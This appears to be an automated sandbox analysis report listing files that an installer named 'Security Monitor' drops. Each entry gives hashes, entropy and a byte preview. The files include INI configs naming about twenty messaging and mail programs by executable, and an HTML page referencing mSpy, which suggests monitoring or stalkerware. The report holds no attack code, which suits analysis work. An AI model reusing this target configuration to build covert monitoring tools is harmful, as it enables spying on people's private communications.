Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.056283894172477
Encrypted:	false
SSDEEP:	96:DZlab9wlipnz12qCLtZ7JgVksVScm8FPcTi:D3aJkipzZKtpJEkiBFEm
MD5:	F501D67C40B9B639411C99B14F60E14D
SHA1:	6F16B1384505A87848A6FB078FC3B62CC55BBF94
SHA-256:	4EC7F2AB9D5FD7E5F1622F007510B4F4D3C1C779E5CDB4B128E2D53A2E468A28
SHA-512:	775647B02208318CCAB7ED6873D9351ADD106D5EDF27857E73B215B18C04310693D210EB43415690D51191CDEF7F21AECED1B7FCF5A3AFB254698A9CF13AF3CF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................4...G...K...I...<...&...........................%...:...I...J...E...3...................................................7.'a..M...Z...i...e...N...C...#`....p...\...[...n..S..C...K...a...g...Z...M...,k....3.........................................R...............................e...,m..........+i..b...z...........................U...#Z..................................7.@....8....................Gp.VSY........................\co..Hz.............'...G........;.@.................................;. ....~...p...,....Sr.NAA........................................^US..S......[...A........@.0.....................................s.....8...02<.qdb....................................................../C..........~...........................................K...u.*'/.rdb..............................................................1E..y..P..............................................-.#.C67...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-Q4NET.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.386046922758486
Encrypted:	false
SSDEEP:	24:su7IUPPPPRZZZZZ+avnjxUrbbbbbbbbLB2JeFxgeaXQ0:hIUPPPPaavlUrbbbbbbbbLBoOxsXJ
MD5:	5D316BF8CE58BBA7DE8943D5E8A60244
SHA1:	898FCA22C2A5FDC22859FB4994BDC8105D797BC2
SHA-256:	92B5DF95A623E9786D079E86264CDCF882EF6C80FA824564D584B530D50BF483
SHA-512:	F7C9E47127411FAE362A2BEC2A196C4C6116350D3AF7D8E6841D7824D5F0148EA8CAEF04BC5F404BD055229EB209DED86578E3EA594EB1CCCE5219586225C904
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................{`.{..{..{..{..{..{..{`.........................................................................................{ .{..{..{..{..{..{..{..{..{..{..{ .............................................................................{ .{..{..{..{..{..{..{..{..{..{..{..{..{ .........................................................................{..{..{..{..{..{..{..{..{..{..{..{..{..{......................................................................ib`.ib..ib..ib..ib..ib..ib..ng..{..{..{..{..{..{..{..{`.................................................................^X..^X..^X..^X..^X..^X..^X..^X..xp..{..{..{..{..{..{..{r..YP..YP..YP..YP..YP.............................................l<8.l<

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-UH1T8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.123671236740637
Encrypted:	false
SSDEEP:	96:M6HyDOdzc8+Efv02qJgthMtLdhItbSCIYU2P8x4He:YDOd4QH02qJlZdhUzIY0e+
MD5:	9D963AAEF1A316841C2C34AE32CDEDB3
SHA1:	A73386D3ABE3824621B72143E0402BC1388CE700
SHA-256:	9DD59EBDBAA0D4CB4A4422D597DB6C7EEC60624F042A273AB1C75AD785168945
SHA-512:	81757CF518EFB4CCB90BFE35383D39D16F5C9210BBA8EE2E58F62A4961591F4244D78C6702B1AD022E9205C7177976B2E8EDC8E8FA5C4BCD2BB6F95F504140B2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................h-L/./d5.,R/....t........................................................................................................3M3.).C...5.../...1.(.;..I-.................................................................................................3&.$.;.....................!.,.#-.........("&..-^0.,b1. &......................................................................6t8.............................%c$....));$...(...!...'.".8.)='................................................................&/.0..............................l..!.......................&.2....@............................................................,p(...............0...7...1......i..):#..........................&.s............................................................I#...........8.).M./.U./.P.).?. f.."[&...:.&.J.'.G...5..........".q.......9...M...<........................................... ..._.y....$.,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-UH2FQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	0.6322026813246273
Encrypted:	false
SSDEEP:	12:suE555L555L555L555L55r55r55r555r55r555r555r555r555r555r555r55r5I:suvzPFV5
MD5:	E91EE031E8A775B87A966821F46B8003
SHA1:	B093537BEB4335E306C870ECF6C8C1431279F262
SHA-256:	E01B114837D5A19D2AB3492279F6AA0EA6AB960C4FFEB8369BB1A85F18672337
SHA-512:	70D2E0F656E784A10505BF73568E9BA0329EF612512B62458F3C2A6A44B3E09DF0D18D8B481978C9974A54844C7E67B0D94A56FB0FBCA616A95F21D89F6882F0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-VLETQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.505932325468453
Encrypted:	false
SSDEEP:	48:6x5Iin1G7yKJ1Gs3UNIAB09uq8eq+xn704qtiCA2Kn5t7eUO:6fIinYy7sCIASsq8jKqBA2K5Ber
MD5:	A9756849B11E570FCB8F845201B4A435
SHA1:	6A6085576DD2B871485296BF2EAA1A4E02EF9C81
SHA-256:	4CDD2B35CB1CA9E330D06E184FDA8FA664DD59C7428F67DE9986E77087DEFB5B
SHA-512:	47D16D4EA54B20F7124BDD64B2377D1D00AEECC228EDBCD77A754EDA9D9F977180A2E6E906A0527C9D05EE2C9BEFD52045E7D42B93E69C6E94F9FA73195BDE22
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................._..._.P.a..a.._.P._..................................................................................................._...r.)...?...N...R...G...0....w.._......................................................................................._...\|..2...E...:...,...-...>...O...@..."...._...................................................................................m.*...<...'...+H..@>..MO..:G..'t..G...:....y.............................................................................._.@ ...6...-...$)..'"..41..<9..0,..&"..'g..?...(...._.@.........................................................B...F

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\none.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	0.6322026813246273
Encrypted:	false
SSDEEP:	12:suE555L555L555L555L55r55r55r555r55r555r555r555r555r555r555r55r5I:suvzPFV5
MD5:	E91EE031E8A775B87A966821F46B8003
SHA1:	B093537BEB4335E306C870ECF6C8C1431279F262
SHA-256:	E01B114837D5A19D2AB3492279F6AA0EA6AB960C4FFEB8369BB1A85F18672337
SHA-512:	70D2E0F656E784A10505BF73568E9BA0329EF612512B62458F3C2A6A44B3E09DF0D18D8B481978C9974A54844C7E67B0D94A56FB0FBCA616A95F21D89F6882F0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\qip.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.07531325717377
Encrypted:	false
SSDEEP:	48:n2to4hDDD+l6ZtQE1mA/+PWLlClkKAUqjcVGTJUysHFa/IJu:2tthDDal6LL+PWQSB6sTqysHFaQJu
MD5:	D0D41AD531613F51005CFDD6E7AFC134
SHA1:	828A3A01B74603403798155326286743F5E4000C
SHA-256:	0E43F7B2B24A035112F9FACD840EF0856F68260BA890CA1EDD7FF7B4A1DD3036
SHA-512:	3471310FDE5E1341FD75B69C5271B15B385885E90A277E90F989D75638CCCA63E1E04BF4574E2610B24AC16BD0C04113EFC15E5B2A25EBC94191845BD03E8F44
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................RRR.VWW.}...ccd.ccd.~...dee.-...............................................................................................qrr.))).....................................................................................................................PRR.]__.'''.9;:.?CA.<>=.<?=.@CA.011....%uxx.............................................................................................wxw.........................NOO.................TTT.BBB.;;;.........................................JJJ.HHH.OOO=eee.TSS.ZYY+433.........`.y.E.e.F.f.Y.v.................bbb.[[Z....O.......................................................................2...........0...%...'...+...........2...4........XXX.....xxx.............................................................lll....F........1...7...8...............Y............ppp.....ccc.........................\\\.ttt.nnn.non.ddc.rrr...............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\skype.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.980115331909525
Encrypted:	false
SSDEEP:	48:zCCCPJgo7qkfGEEEEEEEEEE1vt9COYNybhh3cGcm:O1So7qkf8zyNw33P
MD5:	6447AACD6C19A9D3F0CDB2322620997A
SHA1:	DECED599496691BB5403D8CAA063227181400DED
SHA-256:	B5D3DDED1F4C3F75C033E19008119BC8E283DE10BBBCE39488854028C54511ED
SHA-512:	91942D1C960B176BCA722CB5AF08B38A0072B789EC9E8B75236662BD69418251FBC1A30A41FD1FE0264CA34934608989AD441E728972F1E389CDB3E30F9336FF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................................................................................................................................................../..?..?../............................o...................................................................................................................?.............................................................................................................?......................................o...........................................................................................................................................................................o........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\slack.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.943764396001677
Encrypted:	false
SSDEEP:	48:LvIxIlvIfcPp3sOHG3cj4D0oT9wgXXXXXXDpXXXXXXDBXXXXXX5vXXXXj9FLXo4O:LvIxIlvIEx3rHb4D0WpZYO2B
MD5:	0075259CD4B132A02EB69CA2D82B1021
SHA1:	D0F009D16495A8480891E0BB1F4D9EF7DFC96B18
SHA-256:	EF6FF1A4B4740C8BA8817D625895D36DDD386C051B798A210EA9B59F68BBAEB7
SHA-512:	2803475A5F0E2B277A022DA9122B6AF5BD1EA8F663C77F39FD2EF739729721A9ADA3B27DC50F8C37B959E45E9A78F8675BB6EDE9AFE77AFCF6DBB54B8D6D3A78
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................'...,...1...1...,...'...............................................................................................1...\.................................\...1...........................................................................6...........................................................6...........................................................(...m.................................................................m...(....................................................................................................................................................................................................sA..m9..................E...Q.................................................................(...........................b)..Z...Z...Z.......................<.................................(...........................m..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\trillian.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.548751958766154
Encrypted:	false
SSDEEP:	48:I36IcaNTUkY37c3Yd/oB3cEYp2LctCWZhlt9b7Q01iEtcm:I39NART/EshwaCOLfQmdth
MD5:	3FF113ABAD7A9C6F2AE88B1680E5DE0E
SHA1:	840BDB6139021E1FE655C240324A64481BB999FF
SHA-256:	57EEA00C948FF2F8EE9604160F4143891E5F5792765961408CE99E68CAB04BB6
SHA-512:	52B899DA820C3E3195799300122346B1A461B5139C213CEB8DED89734CDAD45878BE7E2B2F21AB5F9301CDABE6E2628571C9BB62923E318947FB41C0F2D78BF0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................................................................................................................................................................................................................................................%...................................................................................................#...G...d...\|....962.:62.;73........]...6..."..."................................................................... .......5...n....gaZ..\|.......................g`Y....K...........................................................................R...vnhb............................................PKEV...................................................................T-+(......................................................................................................................F.+).....................r.~.`...N.bN.`N.X\..sm.v...............}..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\IM.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Zoom]
Category:	dropped
Size (bytes):	892
Entropy (8bit):	5.034196121894832
Encrypted:	false
SSDEEP:	24:0O8pqq2DktMmZFxw5vb6ocEzWSM90EeG3GjTA/nyeX+Nq7F21:VtjsWWTp2Ea8U
MD5:	9D370AE1F35460B31952976C7E2AE06D
SHA1:	51AB3EEB2789513AA9CB257C92B54E7CD3B9554E
SHA-256:	2BBB1633EE6C1EC33FC7358C86A8C3293A199AB96E353336425DFE1023D0B597
SHA-512:	F611550CFE595D3C7C8660ACC7E4B301A53E44751447CCD1F207B4BC9B498750B8400D8B44715FF3065ADECAC0D23CAB34C3325086E4F116A38DB532BDEA0AF6
Malicious:	false
Reputation:	unknown
Preview:	[Skype]..ID="skype.exe"..NodeID=41..[Zoom]..ID="Zoom.exe"..NodeID=73..[Telegram]..ID="telegram.exe"..NodeID=52..[Facebook Messenger]..ID="Messenger.exe"..NodeID=71..[Viber]..ID="viber.exe"..NodeID=50..[WhatsApp]..ID="whatsapp.exe"..NodeID=51..[Discord]..ID="Discord.exe"..NodeID=72..[Slack]..ID="slack.exe"..NodeID=70..[Microsoft Teams]..ID="Teams.exe"..NodeID=74..[Line]..ID="line.exe"..NodeID=58..[ICQ]..ID="icq.exe"..NodeID=39..[Google Talk]..ID="googletalk.exe"..NodeID=38..[Yahoo! Messenger]..ID="YahooMessenger.exe"..NodeID=40..[AIM]..ID="aim.exe"..NodeID=37..[Trillian]..ID="trillian.exe"..NodeID=42..[Windows Live Messenger]..ID="msnmsgr.exe"..NodeID=43..[Tencent QQ]..ID="QQ.exe"..NodeID=44..[QIP]..ID="qip.exe"..NodeID=45..; 47 48 - mobile..[Mail Agent]..ID="magent.exe"..NodeID=53..[Mozilla Thunderbird]..ID="thunderbird.exe"..NodeID=66..[Opera Mail]..ID="operamail.exe"..NodeID=67

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	234
Entropy (8bit):	4.779626123051365
Encrypted:	false
SSDEEP:	6:ok+vRlSyWL3eNmKRvsllLEJEEs1DqMVSO7DDlotFkMHPJn:EvRSDe7alnEyFSO5uLx
MD5:	CD36DD43C387D31BE9DCDF92EB54972D
SHA1:	A8A28D3A5BD6F747549C555D33FACC1A1B4B1CF9
SHA-256:	CEC4B8CDA2278106D7107EF6663C2797FEE902ABAF7030FA6CDC1B8014A04C49
SHA-512:	B696A1A1767F3EDBF5784433B735134366F7E6424F366F432852635BFABAC391BA46E07C0218B22BDA10C80E8710C4981F50328897FD7ACD440EC65274548B18
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..Slack..Microsoft Teams..Line..ICQ..Google Talk..Yahoo! Messenger..AIM..Trillian..Windows Live Messenger..Tencent QQ..QIP..Mail Agent..Mozilla Thunderbird..Opera Mail

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\is-2TRA1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Zoom]
Category:	dropped
Size (bytes):	892
Entropy (8bit):	5.034196121894832
Encrypted:	false
SSDEEP:	24:0O8pqq2DktMmZFxw5vb6ocEzWSM90EeG3GjTA/nyeX+Nq7F21:VtjsWWTp2Ea8U
MD5:	9D370AE1F35460B31952976C7E2AE06D
SHA1:	51AB3EEB2789513AA9CB257C92B54E7CD3B9554E
SHA-256:	2BBB1633EE6C1EC33FC7358C86A8C3293A199AB96E353336425DFE1023D0B597
SHA-512:	F611550CFE595D3C7C8660ACC7E4B301A53E44751447CCD1F207B4BC9B498750B8400D8B44715FF3065ADECAC0D23CAB34C3325086E4F116A38DB532BDEA0AF6
Malicious:	false
Reputation:	unknown
Preview:	[Skype]..ID="skype.exe"..NodeID=41..[Zoom]..ID="Zoom.exe"..NodeID=73..[Telegram]..ID="telegram.exe"..NodeID=52..[Facebook Messenger]..ID="Messenger.exe"..NodeID=71..[Viber]..ID="viber.exe"..NodeID=50..[WhatsApp]..ID="whatsapp.exe"..NodeID=51..[Discord]..ID="Discord.exe"..NodeID=72..[Slack]..ID="slack.exe"..NodeID=70..[Microsoft Teams]..ID="Teams.exe"..NodeID=74..[Line]..ID="line.exe"..NodeID=58..[ICQ]..ID="icq.exe"..NodeID=39..[Google Talk]..ID="googletalk.exe"..NodeID=38..[Yahoo! Messenger]..ID="YahooMessenger.exe"..NodeID=40..[AIM]..ID="aim.exe"..NodeID=37..[Trillian]..ID="trillian.exe"..NodeID=42..[Windows Live Messenger]..ID="msnmsgr.exe"..NodeID=43..[Tencent QQ]..ID="QQ.exe"..NodeID=44..[QIP]..ID="qip.exe"..NodeID=45..; 47 48 - mobile..[Mail Agent]..ID="magent.exe"..NodeID=53..[Mozilla Thunderbird]..ID="thunderbird.exe"..NodeID=66..[Opera Mail]..ID="operamail.exe"..NodeID=67

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\is-NTLRI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	234
Entropy (8bit):	4.779626123051365
Encrypted:	false
SSDEEP:	6:ok+vRlSyWL3eNmKRvsllLEJEEs1DqMVSO7DDlotFkMHPJn:EvRSDe7alnEyFSO5uLx
MD5:	CD36DD43C387D31BE9DCDF92EB54972D
SHA1:	A8A28D3A5BD6F747549C555D33FACC1A1B4B1CF9
SHA-256:	CEC4B8CDA2278106D7107EF6663C2797FEE902ABAF7030FA6CDC1B8014A04C49
SHA-512:	B696A1A1767F3EDBF5784433B735134366F7E6424F366F432852635BFABAC391BA46E07C0218B22BDA10C80E8710C4981F50328897FD7ACD440EC65274548B18
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..Slack..Microsoft Teams..Line..ICQ..Google Talk..Yahoo! Messenger..AIM..Trillian..Windows Live Messenger..Tencent QQ..QIP..Mail Agent..Mozilla Thunderbird..Opera Mail

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\ru\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.608502996059392
Encrypted:	false
SSDEEP:	3:yqy/nveX+vRo65zHyyWVovaBWU:ok+vRlSyWLh
MD5:	DE0E549A26866981947B7D3653B50B52
SHA1:	493223B85EB9A64FB6A7BF563FAF4E5102C6BBEC
SHA-256:	92DA12EB285A3B9AAEC1D50DA7F17F325216FF874C72351D1811E367E190AF5A
SHA-512:	D567E6694049647E2BE752D4FA13FA52F0409B9170617307F8B47FA132A5C7F276D2BCB3D5A6B50FCBF7A0A2AB6C77C5D38188C0B71249083DA57614A9550780
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..QIP

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\ru\is-6LNCU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.608502996059392
Encrypted:	false
SSDEEP:	3:yqy/nveX+vRo65zHyyWVovaBWU:ok+vRlSyWLh
MD5:	DE0E549A26866981947B7D3653B50B52
SHA1:	493223B85EB9A64FB6A7BF563FAF4E5102C6BBEC
SHA-256:	92DA12EB285A3B9AAEC1D50DA7F17F325216FF874C72351D1811E367E190AF5A
SHA-512:	D567E6694049647E2BE752D4FA13FA52F0409B9170617307F8B47FA132A5C7F276D2BCB3D5A6B50FCBF7A0A2AB6C77C5D38188C0B71249083DA57614A9550780
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..QIP

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\zh\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.150292659616668
Encrypted:	false
SSDEEP:	3:yqyxATSfR6lLEJO:XblLEJO
MD5:	A81D187F7CF46F4FC7336B86CBAEC37F
SHA1:	7B0E93E0B0E167997960C23CCA5A75B051EB30E9
SHA-256:	1231CA0960A50BFE65D8931A816737054757963C4C7CDE91B696E4C171B5D609
SHA-512:	7F1A558A3F19C29093245687B1DE5A20CF63C6134DAFDF8EA9F64D7116B7F83B2996EF26AF6118AC8003DA954A5B1A99262D1F7D7062FC399302508487C31ACC
Malicious:	false
Reputation:	unknown
Preview:	Skype..Tencent QQ..ICQ..Google Talk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\zh\is-DML6U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.150292659616668
Encrypted:	false
SSDEEP:	3:yqyxATSfR6lLEJO:XblLEJO
MD5:	A81D187F7CF46F4FC7336B86CBAEC37F
SHA1:	7B0E93E0B0E167997960C23CCA5A75B051EB30E9
SHA-256:	1231CA0960A50BFE65D8931A816737054757963C4C7CDE91B696E4C171B5D609
SHA-512:	7F1A558A3F19C29093245687B1DE5A20CF63C6134DAFDF8EA9F64D7116B7F83B2996EF26AF6118AC8003DA954A5B1A99262D1F7D7062FC399302508487C31ACC
Malicious:	false
Reputation:	unknown
Preview:	Skype..Tencent QQ..ICQ..Google Talk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\1.html (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12965
Entropy (8bit):	4.7252821159716
Encrypted:	false
SSDEEP:	384:fosFgDIOR12U81EfXbWtk4VAwvZRlppVLMQ:fos4II2U81EfLWtk4VAwvNpUQ
MD5:	5EC6E79E4BA242B21EBD31F4EF89BEB8
SHA1:	7D0202CC4739CFA0C8459E9347260F8F44DD72BF
SHA-256:	1B7D810D6F1338C3D06A01E067E0F933319048A03CCA73DBEA955400216448A3
SHA-512:	A4426BE8C9850D699EB3674B5A6C78E0E7666DB8BCC44D89FBA7D8D3158DE4E55548628318D13B35D7F8333C3237F1971750F46897448538F8AC7EDD4EFA985B
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">..<link rel="stylesheet" type="text/css" href="mSpy/widgets.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery-ui-1.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/reset.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/main.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/anythingslider.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/core-ui-select.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery_002.css" media="all">..</head>..<body>.. <div class="std"><div class="wrapper">.. <div class="contentZone buyNowSection">.. <div class="product_page_wrap">.. <div class="product_page_top">..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\business-analyt-sprite.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 1122 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	36574
Entropy (8bit):	7.983280552060311
Encrypted:	false
SSDEEP:	768:3WN9F6pKVwko1aCYqIfw7dVCOyauFqRZd96/UCfD0J1RGz3/:3WDwc6kHYI47wqRzc/bfDG1RGj/
MD5:	6013CCDC5004442BD8EB1EAEE1A2FDFE
SHA1:	7447A346E5E2002E4EF6C56E149EB140ECC5F192
SHA-256:	065857BDAEC7F2E73BA3F7B81D627B94794B67E35D62168F439200FC840412A5
SHA-512:	2047C8F6BAFCC06124A2BD3776475B89C2470090DEB186AF88787E0AFA2DDC0462C70FEBF58ECED3F192E5DC918BE37F4A17EAAA63D337C8A176099F818F9A25
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...b...<.....-.......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:557A66613F9D11E2B86C971723AA9104" xmpMM:DocumentID="xmp.did:557A66623F9D11E2B86C971723AA9104"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:557A665F3F9D11E2B86C971723AA9104" stRef:documentID="xmp.did:557A66603F9D11E2B86C971723AA9104"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-2.....RIDATx..].x...~.eM...^....$.@.e.({..B...Z...~J[Z.-PJ[.t0...E.3.;v......=.c;.-[..$.........s.......'...7.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\green_action_btns.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 210 x 336, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19730
Entropy (8bit):	7.966645049778982
Encrypted:	false
SSDEEP:	384:qJXE056Cv0Ek+u9AOgo8KWTVQSSKOhFjVdQO0MUCguUfrDlk0m0pe:q35fv0fjyKQQT4MyxrZwIe
MD5:	31EC3A003CF3D2C1CDE419B2770AE700
